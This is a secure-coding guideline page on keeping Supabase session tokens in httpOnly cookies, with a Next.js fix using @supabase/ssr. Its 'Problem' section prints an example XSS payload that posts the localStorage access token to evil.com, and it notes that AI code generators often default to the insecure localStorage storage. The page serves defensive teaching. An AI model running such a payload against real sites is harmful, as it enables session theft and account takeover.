ASAASA Standard
Not in Phase 1Production Foundation

Session Tokens in httpOnly Cookies

Auth Safety · AUTH-07 · Priority: P1

Why It Matters

Session tokens stored in localStorage or non-httpOnly cookies are readable by any JavaScript running on the page. A single XSS vulnerability — an injected script, a compromised third-party library, a malicious browser extension — can extract the token and send it to an attacker, who then has full access to the user's account.

httpOnly cookies cannot be read by JavaScript. Even if an XSS vulnerability exists, the attacker cannot steal the session token. This is defense-in-depth — it doesn't prevent XSS, but it limits the damage.

AI code generators frequently store Supabase tokens in localStorage because it's the default client-side behavior and requires no additional configuration.

Priority: P1 — Session theft via XSS leads to account takeover.

Affected Stack: Supabase Auth, Next.js, any framework with cookie-based sessions


The Problem

// ❌ Default Supabase client stores tokens in localStorage
import { createClient } from '@supabase/supabase-js';

const supabase = createClient(url, anonKey);
// Tokens are in localStorage — accessible to any JS on the page

An attacker who finds an XSS vector can steal the token:

// XSS payload that steals the session
fetch('https://evil.com/steal', {
  method: 'POST',
  body: localStorage.getItem('sb-access-token')
});

The Fix

Use Supabase SSR package which stores tokens in httpOnly cookies automatically.

// ✅ Server-side cookie storage with @supabase/ssr
import { createServerClient } from '@supabase/ssr';
import { cookies } from 'next/headers';

export function createClient() {
  const cookieStore = cookies();
  return createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() { return cookieStore.getAll(); },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({ name, value, options }) =>
            cookieStore.set(name, value, options)
          );
        },
      },
    }
  );
}

Key rules:

  • Use @supabase/ssr instead of @supabase/supabase-js for server-rendered apps
  • Session cookies should have httpOnly, secure, sameSite: 'lax' attributes
  • Never store tokens in localStorage in production

References


Related Checks


Is your app safe? Run Free Scan →